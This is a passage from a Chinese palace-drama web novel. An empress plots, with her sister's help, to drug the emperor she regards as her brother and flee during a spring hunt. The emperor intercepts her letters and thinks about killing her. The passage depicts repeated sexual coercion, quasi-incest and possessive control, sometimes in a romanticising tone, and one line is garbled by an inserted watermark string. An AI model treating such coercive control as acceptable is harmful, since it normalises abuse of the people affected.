佩芝又说:“陛下知道娘娘必定喜欢这种事,那日还问起婢子,说娘娘本就总惦记这些鸟儿养在笼中可怜,要不要咱们宫里也学学外头的风气,趁哪一日是好日子,挑些宫里豢养的鸟兽放到山上去。一则也是替娘娘行了善,二也是叫娘娘往后不必牵挂这些笼中鸟了。”
媜珠还认真考虑了一下:“倒也未尝不可。”
见她还真的往这上面想了,佩芝的嘴角微不可查地撇了一下,说话间语气也变得有些意味深长似的:
“原来娘娘也觉得此法可行,婢该死,婢僭越,婢那日在陛下跟前却是替娘娘回绝了,娘娘恕罪。”
媜珠不解:“为何?”
佩芝遂细细解释道:“娘娘您只看这鸟儿关在笼中可怜,可咱们却并不知道鸟儿们自己是否觉得自己可怜,更没细想过,这些被人锦衣玉食一般细养长大的鸟儿,到了外间还能否活下来,咱们当真放他们,是行善还是作孽呢?”
她指给媜珠看:“娘娘就瞧这只画眉吧,它是边上这只老得快不行了的老画眉生的。这老画眉若是放出去,必是活不长的,保管没有三天两夜就能饿死在外头。这小画眉呢,也是衣来伸手饭来张口,从来不知什么叫自己捉虫子吃,能放得吗?而且它还能无忧无虑地和自己母亲住在一块儿,又有天伦之乐可享。如今这母女二鸟被娘娘养着,分明就已经是一件善事了,娘娘还何苦放它们呢?”
媜珠沉默不语,面色有些不快。
佩芝见她被说得不高兴了,赶紧又换个语气和她讲起笑话来。
“婢再说个好玩儿的闲谈给娘娘听,这事儿千真万确做不得假的,就是咱们周家从前真真有过的事!这还是在先帝生母俪阳公主时候的事……”
也就是媜珠的祖母俪阳公主,昔年嫁到冀州后也喜欢养些鸟儿。
她有一只极漂亮的大鹦鹉,那鹦鹉又聪明又漂亮还会讨人喜欢,是番邦献来的,被公主的父亲熙宗皇帝赏给公主的。
公主因说这鸟儿金贵,又是君父所赐,一路陪着她从闺阁少女时期带到夫家周家的,所以惯常把这鸟儿放在笼子里,只有公主偶尔逗弄它时才会把它放出来。
那鹦鹉被俪阳公主惯得不行,鸟食精细得比人吃的还金贵,就连喝的水都是公主命人去山上道观里取来的最清澈干净的甘泉。
原先这鹦鹉被养了许多年都相安无事,偏偏有一年在冀州时,公主腹中正怀着先冀州侯周鼎,常日卧床养胎,许久没有陪那鹦鹉好好玩过。
那年家中忽然来了一群麻雀儿,整日站在公主院子的廊下,还总有三五麻雀跳到鹦鹉的笼子上和那鹦鹉叽叽喳喳地说些什么鸟语。
公主院中的婢子们起先觉得有趣,后来忽然渐渐意识到不对劲。
因为她们怀疑那些麻雀儿不安好心,似乎是在挑唆公主的鹦鹉和它们一起去外头玩,每每这些麻雀儿来了,那大鹦鹉就异常焦躁,总是在笼中扑腾着翅膀回应着它们的呼唤,像是想要和它们一起出去玩似的。
有人把这事告诉正在养胎的公主,问公主是否要把鹦鹉挪到房里养着,免得它被放在外面,整日被那群麻雀撩拨得不安心。
公主犹豫片刻,还是说算了,不必挪了。
“挪到屋里,见不得日光,它更要吵嚷起来,不如在外头让它透透气吧。何况它又不是傻子,我这儿好吃好喝养着它,它要出去做什么?它只要敢出去,没有三日,保管饿死它。”
结果就是这一念之差,那鹦鹉就没了。
是在一日清晨里,它自己用鸟喙啄开了笼门,在一群麻雀的鼓动下头也不回地逃走了。
当时不少婢子们都瞧见了,争着去追它、唤它的名字让它回来,也没能叫动它。
“后来呢?这鹦鹉自由了?和它那群麻雀友人一起回归山林了?这麻雀也是有趣,难道当真是万物有灵,它们也知道自己的同类被困在笼中可怜,所以每天来陪它玩么?”
听到这里,媜珠忍不住发问。
佩芝冷笑:“自由?友人?娘娘是把那群杂毛畜生想得太好了。娘娘,您知道这逃出去的鹦鹉后来是个什么下场么?”
“——那鹦鹉逃出去的当日,便被那群麻雀儿一块啄死啃食了,吃得一群麻雀儿一嘴的鹦鹉血,满地飘着鹦鹉毛。”
佩芝说,“公主丢了这鹦鹉,心疼得不得了,老侯爷那时也心疼公主怀胎的身子,于是就叫人在附近都找一找,看看能不能把这鹦鹉找回来,结果竟然就在咱们冀州侯府的后苑里发现了。当时那鹦鹉已经被啄死了,死在地上,它那群麻雀友人们争相围着去啄它的肉,把它鸟肠鸟胃都啄出来一地,一群麻雀鸟嘴上全是血。”
“后来公主还在书信中把这事告诉了前楚的熙宗皇帝,熙宗皇帝安慰公主说,这样不识抬举的畜生,养它也是白养,有什么可心疼的!他这就再让番邦使臣献二十只来,送去冀州给公主解闷儿就是了。”
媜珠倒吸了一口冷气,不再说话了。
佩芝还在絮絮叨叨地说个没停:“这事儿在当年的整个冀州城里传开了,好些人也在背后议论说,那大鹦鹉就算再大,到底有几口肉吃呢?难道那群麻雀就为了这点肉,倾巢出动哄骗了它好几个月,就为把它骗出来吃了?其实恐怕也不尽然,大抵还是这群杂毛畜生嫉妒大鹦鹉的金贵。”
“若说真的万物有灵,那它们灵也是灵在像人一样会嫉妒罢!一群杂毛畜生,不值钱的玩意儿,风吹日晒吃了上顿没下顿的,哪见过那样锦衣玉食的鹦鹉?它们鼓动那鹦鹉逃跑出去和它们一起玩,叽叽喳喳和鹦鹉说什么自由、说什么逃出去多好,恐怕还会和它挑拨说它主人俪阳公主不疼它,其实都是嫉妒!也不知那鹦鹉儿被活生生啄死的时候,心中到底后悔不后悔,这辈子对它最好的人,还是把它关在笼子里的俪阳公主呢!”
媜珠又不说话了。
她这时候并没想到自己和姐姐的书信往来早已暴露,更没有想到佩芝今天故意长篇大段和她说的这些话,就是为了来点她的。
不过她还是因听到了一个这样的故事而感到莫名不快。
媜珠在第二日又从冯夫人那里用同样的方式收到了姐姐的回信。
二姐姐和媜珠说,如今她已想到了一个可以帮她逃跑的法子,而且这个法子异常的简单。
——让媜珠去怂恿皇帝,在今年春日去长安城郊外的陈阳陵围场举行春狩。
届时,他们的活动范围就不在这森严巍峨的宫城之内了,到底是在外头,逃跑起来也更加轻松。
到时候,她会给媜珠一些从岭南弄来的颇有奇效的迷药,只要媜珠在某一日夜里神不知鬼不觉地迷晕皇帝,然后随便换上一套宫娥的衣裳,就能让穆王他们想办法把她带出去。
毕竟在外围猎,只要皇帝在帐内昏迷过去不出来,穆王就有很大的话语权,送走一两个人实在不是什么难事,如果媜珠还能把皇帝的什么令牌符牌给偷出来,那一路上自然会更加顺利。
当然了,更好的情况是,她能偷到周奉疆的玉玺,把那枚玉玺也带出来的话就最好不过了。
姐姐是这样跟媜珠解释的,她说,如果周奉疆丢了那枚国玺,在他的皇后和国玺全都丢了的情况下,他虽然暴怒,但一定会将此事狠狠压下来,并且他只会先急着去找国玺,就不会把全部的精力都放在找媜珠上面。
只要媜珠被人带出去,她就会想办法找人把她送到岭南、送到她身边来。
到时候摆脱了周奉疆,她就再也不用受人欺凌侮辱了,就可从此自由了。
——这样不好吗?
姐姐还对媜珠说,陛下他很想念你,他这些年都很想念你,等你和陛下重逢之后,只要你愿意,陛下也盼望同你再续前缘,娶你为妻,和你白头偕老,恩爱终身。
总之去哪里都好,去哪里都比待在周奉疆身边被他欺辱来得强,对不对?
媜珠提笔给姐姐写下回信。
她对这位自己多年未见的姐姐感激得泪流满面,想到姐姐如今处境艰难,结果还穷尽心思对她施以援手,救她于水火之中,她实在不知该如何报答姐姐。
不出意外的,这封回信在从颍川公主府寄出后不久,便从信使手里被截到了皇帝的面前。
第47章
只有当亲手将媜珠写给旁人的“求救信”拿在手里、逐字逐句读下去的时候,周奉疆才终于心如死灰一样地认识到,她是真的背叛了他。
被她气到极点的那几个瞬间,他甚至恨不得立刻就亲自去椒房殿把她拖过来教训一顿,告诉她她究竟有多愚蠢,质问她凭什么敢背叛他!
他不相信她真的会蠢钝至此,还是说,只要可以离开她,别人和她说什么她都愿意相信,她都愿意一口答应下来?
是因为真的不识人间疾苦久矣,所以她可以被人这样随便蒙骗吗?是吗?
她是真的看不出来她姐姐想骗她做什么吗?
周婈珠那些谎话诡计,也就只能骗骗她这个蠢货了。
周婈珠说给她迷药,让她借机迷晕他逃跑,可他闭着眼睛想一想就知道那所谓的迷药必定是毒性十足能取人性命的毒药。
周婈珠说让她偷令牌国玺,还骗她说这样能让她逃跑的更加顺利,实则就是想拿着那国玺为张道恭谋复国而已。
人家是想借她的手杀他啊。
那她呢?她就真的恨他恨到这个地步?连杀一只鸡都不敢的女人,真的愿意下手杀他?
被背叛的怒火和认识到她的确不爱他的这份痛苦在他心头来回交织流转,每一件都逼得他呼吸几近困难,恨不得真把自己的心呕在她面前让她看一看。
心脏都快被她气得破裂的那一刻,周奉疆甚至有了股要和她同归于尽的冲动。
他不否认,自己确实有想要掐死她的念头。
那样脆弱纤细的脖颈,毫无反抗之力的盈弱身段,他只用一只手便能轻松拧断她的脖子。
他不如杀了她算了。
杀了她,以皇后规制将她风光大葬,把她的尸体封进他们合葬的陵寝里,总比好过眼睁睁看着自己最心爱的女人勾结外人喂给他一杯毒酒来得强。
千年万年之后,她仍然静静地待在那里,永远是属于他的女人。
后来他又想,杀了她实在太便宜她了,要死也应该是他先死。
他不如自己一刀捅死自己,把这个他亲手建立的帝国再一手毁去,让她好端端地活在这世上,让她睁着她那双美丽却愚蠢得是非不辨的眼睛看着,看着没了他庇佑她之后,她和她的母亲、她的外祖赵氏一族在这世道里会有一个何等的结局!
等他死后,最好的结局是她那弟弟穆王顺利上位,成为新帝。
而后这位穆王就会赶紧追封自己生母为皇后、太后,把她母亲赵氏赶下台,将她们母女囚于幽宫之中折磨致死,她的外祖赵氏一族也会立刻被清算处置,偌大的家族顷刻间荣耀不再,沦为过街老鼠。
至于最坏的结局……那就怎样都有可沓樰獨家諍裡能了。
她和她母亲在他死后的乱世里会被旁人怎样折磨侮辱,都有的够她受的。
但最终周奉疆还是忍住了。
他没杀她,更没有杀自己。
他对她一忍再忍,像父亲宽忍一个不懂事的女儿,还想着能好好教训她一番后等着她回心转意,看清这世上到底是谁最爱她。
丈夫可以抛弃妻子,兄长可以和妹妹决裂,然而一个称职的“父亲”,总不好真的彻底放弃自己养大的女儿。他只能在心里如此安慰自己。
她不是想逃么?
可以,他可以让她逃出去,让她亲眼看看外面的世界是怎样的,看看那些她自以为值得信任的人实则究竟是一副怎样的嘴脸。
他会看着她惊慌失措,恐惧害怕,然后再出现在她面前,等着她求他救救她,求他把她带回宫。
这世上的大部分人并没有闲心为了情爱之事而伤秋悲春,人嘛,都是要有点梦想的,他们一生中的大部分时间都在为了自己的梦想而努力。
比如倪常善的干儿子倪赐清。
作为皇帝身边亲信大宦官的干儿子,倪赐清虽然还年轻,资历尚浅,但他也有一个伟大的梦想。
——他想像他的干爹一样,哪怕是做太监,也要做最厉害的太监,他也要成为皇帝身边最受器重、最风光体面的大太监。
当然,现在他头上已经有他干爹了,他也不可能在皇帝面前挤掉他的干爹上位。
所以,他能想到的法子就只有去伺候下一任皇帝。
也就是椒房殿里的赵皇后肚子里都还没怀上的那个小皇子,来日的太子,本朝的下一任天子。
自从倪赐清从自己干爹嘴里打听到陛下停了那凉药,准备让赵皇后怀一胎的时候,这个辉煌的梦想便已经在倪赐清的心底生根发芽。
近来他总是哀求讨好他的干爹,希望干爹可以想办法把他调去赵皇后的椒房殿内伺候。
在他的规划里,只等他这几年尽心尽力伺候好了赵皇后,讨皇后欢心,待皇后来日生下小皇子,小皇子身边也定要人照顾侍奉,小皇子稍稍长大些,还缺个陪小皇子玩耍的人呢。
只要在这几年里能让赵皇后看他顺眼些,喜欢些,他就有极大的把握谋到这个职位,来日随着小皇子被封为太子,即可再随太子一路搬去东宫。
而且他曾经在皇帝面前也侍奉过,也是从来都没出过错的,皇帝看他也还算顺眼,如果帝后二人对他都算放心,他自己再不出错,底下的人再眼馋嫉妒他的位子,都没人能撼动得了他。
如此再熬个二三十年,等太子也长大了,皇帝也老了……
不得不说,年轻的小宦官给自己的一生安排得明明白白,甚至他的这局惊天大棋,从小皇子还没托生到娘胎里的时候就计划好了,实在是用心良苦极矣。
但很遗憾的是,今天他的干爹忽然告诉他了一个惊天噩耗。
——你不能再去赵皇后殿里伺候了。
他的计划从第一步开始就要被迫夭折,实行不了了。
倪赐清愕然,连忙追问干爹是出了什么事,还是因为自己哪里犯错惹恼了干爹,让干爹不愿意帮他了。
倪常善这时候是刚从皇帝身边伺候完下来歇一会,已是满脸的精疲力尽,像是一根被熬尽了水分的老笋,皱巴巴的没了生气。
倪常善惟有长长叹气,然后又是叹气,一边叹气一边看着自己的干儿子,一副欲言又止的样子,似乎极是纠结,像是藏着什么心事想说又不敢说一般。
这可把倪赐清心底的好奇给勾的够够的,连忙跪在他干爹脚边,又是磕头又是苦求的,只盼干爹能多给他讲几句。
倪常善终于忍不住对他说道:
“陛下眼下都要被皇后给气死了,只怕马上还少不得闹的呢……你非要去凑这个热闹做什么!届时城门失火殃及池鱼也未可知!”
倪赐清大骇:“皇后娘娘?把陛下气得不行?真的假的?不能吧?皇后娘娘平素柔柔弱弱又温顺善良的,怎么能把陛下给气着了呢……”
倪常善白了他一眼,又是重重的叹气,一面叹气一面道:“我这话告诉你,量你也没有胆子去别处说。——皇后看着柔弱温顺,谁知道偏是这种女子,胆子反而是最大的!你敢信?皇后通过外人勾结上了岭南的周淑妃和张道恭,还哭诉着求外人带她走,说她在陛下身边不快乐,无一日欢愉!难道你没有看见陛下这两三日几乎滴水未进,熬的眼睛都红透了,就是被皇后给气的!”
“对了,我还没告诉你,皇后大约已经把从前的所有事情都想起来了,只是她这回变聪明了,哪怕恢复记忆也没有在外人面前暴露出来,所以连陛下起先都未察觉到。”
“我早就和你说过,只要皇后想起从前的事了,她必少不了一顿闹一顿折腾,到时候阖宫上下皆无宁日。你等着吧,马上就到了。”
……
沉默之后还是长久的沉默。
惊讶,震撼,恐惧,不可思议,种种复杂的情绪涌上这个年轻小宦官的心头,让倪赐清在听完这话后呆呆地张着嘴,许久都不知如何开口。
为什么偏偏是皇后?
为什么她偏偏做出了这种事情?
如果现在他干爹告诉他说是哪位王爷驸马还是高官大臣要谋逆造反,或许倪赐清只会感慨一句“真是活腻了”,但偏偏现在做出这件事的人是皇后。
哪怕他知道皇后失忆之前的所有事情,知道皇帝是如何对待自己这位妹妹的,可站在一个小宦官的视角上,他还是不明白,皇后这么折腾到底是图什么?
在倪赐清的眼里,皇后可是他未来主子的生母,只有赵皇后安好,他未来的主子才能平安降生,才能子凭母贵被陛下封为太子,怎么眼下他的恢宏伟业连第一步都没迈出去,局面就全都乱套了!
他终于声音颤抖地向自己干爹问出了第一句话:“皇后娘娘……来日这事闹出来,陛下会废后吗?娘娘会不会被废?”
“我看这倒不会。——但是也说不准。”
作为皇帝这段单相思苦恋的近距离旁观者之一,倪常善给出了一个这样的回答,
“到底那不是旁的女人,那是陛下亲手带大的,意义非凡啊。亦父亦兄亦夫地看着她长大,总归对她要格外忍让些的。一个男人生命里只会有一个这样的女人嘛。也许等皇后被陛下教训了一顿,自己知道悔过了,哭两嗓子和陛下认个错,陛下也就原谅她了。”
“不过,天子到底是天子,也不能太得寸进尺,总把天子当成个普通男人。凡事皆有万一,万一这位赵皇后周三娘子就是一身的硬骨头,还能当年一样犟到底,哪怕东窗事发了也死活不认错,梗着脖子非要和陛下吵下去,吵到最后,把男人的耐心和宠爱都耗尽了,被废被厌弃也不是不可能。”
倪赐清的表情也彻底绝望了。
如果最坏的那种情况真的会发生的话,那他当然不愿意再去伺候赵皇后了。
他的愿望是成为下一任储君的贴身太监,这样重要的差事,既要储君本人喜欢你、习惯你,又要皇帝对你放心,还要储君的生母信得过你,甚至皇太后本人也能看你顺眼,对你没有异议。
最后最后,你还要有这个人脉,有托举提携你的力量。比如他的干爹倪常善就是他的后台,这就是宫里的其他太监比不得他的地方。
他以为自己已经几乎满足了大部分的条件了,可一旦赵皇后来日被废,当不了皇后生不了太子,那么他曾经在赵皇后宫里伺候过的这份“履历”,足以被下一任新后嫌弃不满,他就再也没有出头之日了。
不管在什么世道上,小人物的生存总是最困难的,哪怕你有满心的壮志,将自己的未来谋划得十全十美,可只要上头的主子们随便打一个喷嚏,这一切就可能全都泡汤。
他只是一粒尘埃,随便吹来一阵风,他的所有都会被吹乱。
倪赐清无奈地垂下了脑袋。
第48章
媜珠并不是不知道自己在做些什么。
她心里清楚明白的很。
她知道周奉疆发现这一切后会何等暴怒,她也知道姐姐的计划并没有看上去那么简单和完美。
她只是被他逼得别无选择了而已。
在他身边,现在已经没有旁人可以来帮帮她,他也没有给过她其他能用来解决问题的方法,因为在他原本的打算里,他就想让她这样“孤立无援”,让她只能依附她。
不论她现在是赵皇后还是周三娘子,只要她想要越过周奉疆的意愿寻求别人帮她做什么,不会有任何一个人敢冒着这个风险来帮她。
哪怕是她的母亲。
甚至,母亲还一直催促她早日为他生下子嗣,延续外祖一家的荣耀。
媜珠不敢想自己和他有个孩子后,局面会变成何等模样。那孩子又算是什么呢?是他们兄妹乱伦的产物吗?
在铺天盖地的绝望里,当有人给她递来一双愿意救她的手时,她只能毫不犹豫地把自己的手也交过去。
之所以这么急切地想要逃跑,一方面是因为她的确很想再见张道恭一面,另一方面,更主要的原因还是周奉疆逼她实在逼得太急了。
自从上次,在她恢复记忆之后第一次被他胁迫着与他同房亲密之后,媜珠便时常怀疑自己的神智都变得不太正常了。
那一夜对她来说太过恐怖,远比之前他用强来迫她的那几夜都恐怖得多。
之前她尚未完全恢复记忆时,他也有过用粗暴手段对她的时候,但那时媜珠只有两种感觉,一是怕痛怕被他弄伤,二是觉得自己身为他妻子却被如此对待,是他对她的侮辱,他肯定是不爱她了,她不开心。
现在不是了,现在变得让她更加心惊胆战。
同房之时,不论他有没有对她用强、有没有弄伤弄痛她、有没有对她说那些下流污秽的言词,媜珠都无暇顾及了。
因为不管他怎么做也改变不了他们是在乱伦的事实。
她真的害怕,害怕自己这样不贞又淫乱的女人死后会不会被永远打入地狱不得超生,害怕自己的所作所为,连死去的父亲在天之灵也会因她而蒙羞。
尤其是姐姐信中曾说过,周家死去的所有人,他们的冤灵皆在天上看着她,看着她。
直至如今,其实她还是把周奉疆当做自己的亲兄长来看待的。
哪怕他毁了她的婚姻,杀了她的亲人,还亡了她未婚夫的国,他也还是她的兄长。
血亲么,打断了骨头连着筋的,永远断不了,永远无法改变的事实。
——只不过,是从一个她曾经全身心依赖信任的兄长,变成了一个让她畏惧又痛恨的兄长。
十岁左右时,她在母亲院子里的小池塘边嬉戏玩耍,母亲和她的乳母嬷嬷们便教诲她说,女子的足不可轻易为男子所见,她要知礼义贞守,懂边界分寸,哪怕是自己的亲父、兄长和同族的男子亲属,也不能见她的足,更不能随意触碰她的身体。
只有她以后的丈夫才可以碰她、见到她的身体肌肤。
媜珠还有些疑惑:“那……我这样,爹爹和兄长他们,他们不会伤心吗?不会觉得我和他们生疏见外了吗?”
嬷嬷们笑着摇头说不会:“世族之女,越是知礼义操守,父兄才更加喜爱,这才是他们的脸面。”
媜珠将这话牢牢记在了心里。
不久后她不慎失足崴伤了脚踝,好几日不敢下地行走,父亲听说了,随口问了一句:“我看看伤得如何了?紧不紧要?没伤到骨头吧?”
媜珠攥着衣袖连忙拒绝,低声和父亲说了母亲她们教她的话。
父亲听后先是一愣,而后哈哈大笑,连称这话问的是他不对,然后又盛赞她母亲会教养儿女,说自己是个粗人,教养女儿这样的精细事果然还要靠家中主母多提点,否则岂不全乱了套了。
媜珠于是明白了母亲说的是对的,她以为自己在父亲兄长们跟前越是矜持保持距离,就越能得到他们的喜欢。
后来夏天时她会赤足坐在小池塘边玩水,有时瞥见兄长远远过来了,她都会赶紧穿好鞋袜,以免在兄长面前失仪,让兄长觉得她是轻浮不守礼节的女子。
她以为这样兄长才会更加喜欢她,就像她父亲那样。
但现在他的所作所为让她发现不是这样的,她的世界观崩塌了。
每个夜晚里,周奉疆都会将她剥得□□,然后神情痴迷地细细抚摸、亲吻她身体的每一寸。
有时借着某种姿势的便利,他还会顺手将她的足握在掌中当做玩物一样不停地把玩。
她想过很多方式拒绝他的求欢了,她并不是什么都没做就任由他欺凌侮辱的,她用尽了所有的法子去推拒他,可没有一个是管用的。
她委婉地表示不情愿,周奉疆直接装听不懂,就是要硬上;
她认真拒绝反抗,和他激烈争吵,最后会被他动粗把她拖回榻上。
她装病拒绝,结果装病被识破后还要继续侍寝;
她想过能不能劝他广纳后宫去找别的女人,但这种话只会让他更加生气,在榻上使出更多手段折磨她。
所以,她到底还能怎么办?
要么一死了之,留一具尸体给他;要么,她就只能选择逃离。
她有错吗?她明明什么也没做错。
她不觉得她的选择是有错的。
这夜,皇帝照例在宣室殿内忙了一天后回到椒房殿内歇下。
媜珠强打起精神,恭顺地起身相迎。
她总觉得周奉疆这几日对她的态度也有些奇怪,或许怪就怪在,她有时觉得他待她和从前一样温柔体贴,有时又觉得这层表面的柔情之下,总还有些其他压抑的情愫。
媜珠彼时已经洗漱更衣过,她着一身颜色娇嫩的淡粉寝衣,披散着长发侍立在一旁,手中托着一只茶盏,想侍奉他先喝口茶润润嗓子。
周奉疆头也不回地从她身边走过,直接朝内殿的净室而去。他略过被她小心托在掌中的热茶,只拍了拍她的肩说:
“这些事有宫人来做,不用你辛苦。你的活全在榻上,去那等着朕回来。”
这时候殿里还有佩芝和七八个宫娥在的,他和她说这些话时全然不避着人,仿佛她于他而言也就只剩下那点作用。
可他和她说话时又似乎十分温柔,让媜珠在感到屈辱之余,连发脾气的理由都没有。
她只能死死咽下这口气,放下手中的茶杯,被佩芝扶到榻上去等着他回来临幸。
这一夜于媜珠而言,也还是和前几夜一样难熬。
他还是那样,态度温柔,言词体贴,嘴上说的全是好话,亲吻她时也仿佛带着无尽的怜惜,只有身体上那丝毫不带改变的动作能真正暴露他的无情。
中途休息时,他撩起媜珠被汗水沾湿在脸颊边的一缕发丝,忽然对她提出了一个别样的要求。
“叫我兄长,或者叫我伯骧哥哥,都行。”
媜珠装作累到昏死过去的模样,根本不想理他。
周奉疆俯身过来轻轻吻了吻她的唇,“从前朕的妹妹,周三娘子还在时,她会这样叫朕。自她不在后,许多年没有人这样唤过朕了,朕想听你叫。媜媜,说话。”
往事浮现在她眼前,媜珠颓然无力地阖上了眼睛。
他抱住了她,还在她耳边如魔鬼般低语,
“大抵是亲表姐妹的缘故,你和她生得很像,这些年里,有时朕看着你时,想到的都是三娘子的样子。所以三娘子不在了,朕对她的那份宠爱,也都倾注在你身上。你便全一回朕的心愿,像三娘子那样唤朕一声伯骧哥哥,好不好?”
媜珠满身恶寒,完全没想到这男人的恶趣味。
“那现在呢?现在在陛下身下承欢的人是妾,陛下也会把妾当做兖国公主吗?”
她猛地睁开蒙着一层泪光水雾的眼睛,直直地望着周奉疆。
“朕可没这么说过。媜媜,你别多想。”
他哂笑了下,抚上她已经被微微撑起的小腹,“你叫几声,朕今晚就放过你一回,让你早些能睡下,好不好?”
“……伯骧哥哥。”
媜珠最后还是含着泪叫了出来,“伯骧哥哥。”
她没有问出的那句话是,你为什么要这样对我?
为什么你会这样欺负我?你不是说你会永远做那个保护我的兄长的吗?
周奉疆听她唤了几声,心里舒爽了却仍是不放过她,他的吻游移至她柔嫩软白的腹部:
“媜媜,我总觉得你腹中鼓鼓,像是已经怀上了咱们的孩子。”
这夜的欢好后,媜珠在她自认为周奉疆必定身心最舒爽的时候向他试探着提出了一个请求:
“老在宫中闷着,总觉得没意思,或许妾前段时日的那些病都是被闷出来的,所以才总是郁郁寡欢。如今将要春盛,妾请陛下可否行一次春狩?就当是为了妾,咱们出去散散心了。”
周奉疆抱着媜珠的动作僵硬地停顿了一下,他的笑意只浅浅浮在眸中,并不见底。
“你想出去玩玩?”
媜珠答是。
他幽幽道:“历来围猎,基本只在秋冬之日才有秋狩冬猎,春狩却极少。朕可以为了媜媜破例,但你总要为朕付出些什么吧?”
这话便是能同意的意思。
媜珠靠在他胸膛前,忍着不适低声问他:“那陛下想要妾为您做些什么,您才愿意答应妾呢?”
周奉疆笑了一声,没说话,修长的指节划过她的下巴,抚弄着她的脸颊,像在逗弄一只宠物一样,最终落在了她娇艳的朱唇上。
媜珠在迟钝片刻后方不可置信地读懂了他的意思。
她猛地吸了口气,没吭声。
周奉疆问她:“愿意吗?”
第49章
频繁的欢爱与肌肤之亲,本该使男女之间更加熟悉亲密,但有时也能带来加倍的疏远和陌生。
例如此刻周奉疆对她漫不经心地问出那句“愿意吗”的时候,媜珠真的不知第多少次恨不得自己从未认识过这个男人。
乱世之中,若是单纯是因为她自己命数不好,因为种种原因家破人亡流落至贼人手中,被他侮辱欺凌,也许她还能强撑一口气侍奉他、活下来。
可为什么命运要在过去的十几年里,让这个人对她百般呵护爱惜,让她连在恨他的时候,自己的心也会跟着痛苦。
她深深看了他一眼,看他的神色不似在玩笑,他是真的想从她身上索取这些。
不论现在多么恨他,在媜珠的记忆里,她却总还是记得他在她面前最后一次伪装得“正常”的好兄长时候的模样。
是在她父亲当年病重得快要不行了、无力回天时。
在这之前,媜珠从未想过有朝一日明明平素看上去十分强壮健硕的父亲,忽然之间也会如山般倒塌下来。
她很害怕,那是她人生中遇到的一个坎。
既是担心父亲的身体,也担心万一没有了父亲之后,她和母亲来日该怎么办,周氏一族的未来该何去何从,更担心整个冀州城因父亲的病重不能主事而引来的周围节度使的垂涎觊觎。
那时家里也不太平,眼见着父亲越来越不行了,父亲的妾室庶子们纷纷有些蠢蠢欲动的架势,连母亲赵夫人也弹压不下去。
内外交困,一切都压得媜珠喘不过气来。桩桩件件,皆让彼时那个尚且年轻稚弱的周三娘子完全陷入了崩溃绝望的境地里。
隔壁的魏博节度使气势汹汹胸有成竹地来攻贝州,贝州就在冀州之侧,更是冀州在南面的门户,乃北地周氏之所有。
贝州若失,则冀州危矣。
这样遭外敌来犯的事,哪怕冀州侯周鼎病重,也应该由他的儿子、养子、兄弟们去解决,可当时谁也不愿意离开冀州城。
因为大家都怕在自己离开的时候,万一周鼎真的死了,等他们从外面再回来,那岂不是一杯羹也分不到了?
他们更愿意团团守在冀州侯身边,只等他一死,万一他死前没有亲口立下世子,没有亲口说好家业传之于谁,那么谁都可以趁乱过去抢一抢、拼一把。
最后还是周奉疆去了。
他去守了贝州,打退了魏博节度使军,又因她母亲赵夫人所传匆忙再赶回了冀州。
一路风尘仆仆,满身血污尘土,看上去极为狼狈,当时又是夏日里,这么来回折腾了数日后,他身上其实已几乎泛出馊味来了。
媜珠为他准备了晚膳和换洗的新衣,在母亲赵夫人的院子里等着他回来。
见到他时,她模样也是憔悴不堪,忧心忡忡,神情落寞。
周奉疆在她面前几步远的地方站定,轻声安慰她:“媜媜,别哭,一切都有哥哥在。”
只听到他说的这句话后,媜珠便再也忍不了了,也顾不得什么男女之别,一下子扑进他的怀里,抱着他精壮的腰身趴在他胸膛前呜呜低泣个不停。
“还好有你,伯骧哥哥,幸好我还有你。”
如果我没有你,冀州该怎么办,我和母亲该怎么办,我们未来该依靠谁。
周奉疆也温声安抚她焦躁不安的情绪:“乖,媜媜别哭了,哥哥会永远保护好你的。哥哥永远都会是你的依靠。”
媜珠至今记得他那时的样子,他那时和她说过的话。
只可惜,没几天后,她父亲就病逝了。又没过几天后,父亲的丧仪上,他就将她的亲人们杀得血流成河了。
最令人发指的是,他竟然还有脸遣人过来劝她顺从他,说,反正如今她父亲和亲兄长们也没了,她总归还是要嫁人的,与其跟着张道恭千里迢迢嫁去洛阳后从此不得归故乡,不如就嫁给他吧。
他们有这么多年青梅竹马的情意,彼此熟识了解,他又那样喜爱她,她不如跟了他。
不过,现在再回忆这些往昔旧事似乎也没什么意义了。
因为,媜珠觉得自己马上就会永远离开这里,并且如无意外的话,她后半生应该也不会再回来了。
翌日,被媜珠取悦过男人果真也没有亏待她昨夜对他的付出,当即宣布今岁春日将于长安城郊的陈阳陵围场外行春狩事,且让人立刻准备下去,不出几日,天子将携皇后、宗亲百官出城围猎。
在媜珠看来,这一切似乎都顺利得有些不可思议了。
囚禁了她数年的牢笼,仿佛在此时忽然就向她裂出了一道缝隙,让她得以从这道缝隙中窥见天光,能从中解脱。
赵太后近来总犯春乏,没什么精神,也不欲与帝后同去。她不去,当然也没人非劝她如何,无关紧要的事上,都是随她的心意的。
不过她倒过来叮嘱了媜珠许多细碎琐事,毕竟是皇帝难得动身一趟出去围猎,虽然时日紧凑,但该带的该准备的东西一应也不能少,从偶尔助兴时所饮的酒水到他用得顺手的马鞍箭囊,皆要媜珠一件件去打理清楚。
这些既是她身为妻子的责任,也要让旁人瞧见她是个称职体面的皇后,可以将宫中内外琐事料理清楚的好皇后。
媜珠悉数应下。
赵太后看着媜珠,忽又轻笑了下:“还有一事我要私下告诉你,春日里许多母兽怀胎产子的,这些养育幼崽的母兽是杀不得的,兴许会冲撞了你肚子里还未托生的小皇子,咱们积积德,不去犯这个晦气,知道么?你要是能劝,就去劝劝皇帝也别碰这些畜生,你们夫妻二人一起积些福德,小皇子才能早日托生过来。”
媜珠沉默地点了下头。
赵太后又沉吟片刻,继续嘱咐媜珠说:“在外头不比在宫里,难免乱糟糟的,何况皇帝专宠你久矣,保不齐有什么不三不四藏了脏心思的人要往皇帝跟前凑,我知道你是素来脸皮薄又不中用,可在外头那几日你必须睁着眼睛把皇帝盯紧了,别叫人钻了你的空子爬了龙床,闹出什么笑话来,听见没?”
媜珠嗯了声。
她心里倒是想着,男人怎么样,是她睁着那双眼睛就能盯住的吗?难道母亲您婚后二十来年里,您的眼睛就没有睁着吗?为什么父亲也有一堆的妾室呢?
何况,如果周奉疆愿意去碰别的女人,她只会高兴还来不及。
对于穆王府来说,他们也觉得这一切简直顺利得让人不敢想象。
周奉疆那样生性多疑之人,果真到了周媜珠的跟前,当真能被她蒙骗的说什么就是什么、要什么就给什么。
周媜珠说要让他去春狩,他就这么爽快地答应了。
呵。
不过,这还不是他们听到的最好的消息。
一件更好的事是,前不久因受牵连被罢免的穆王妃族弟、原先的右龙武军副都统林允升,被复职了,甚至在复职后还被升了官,从副都统升为了正都统。
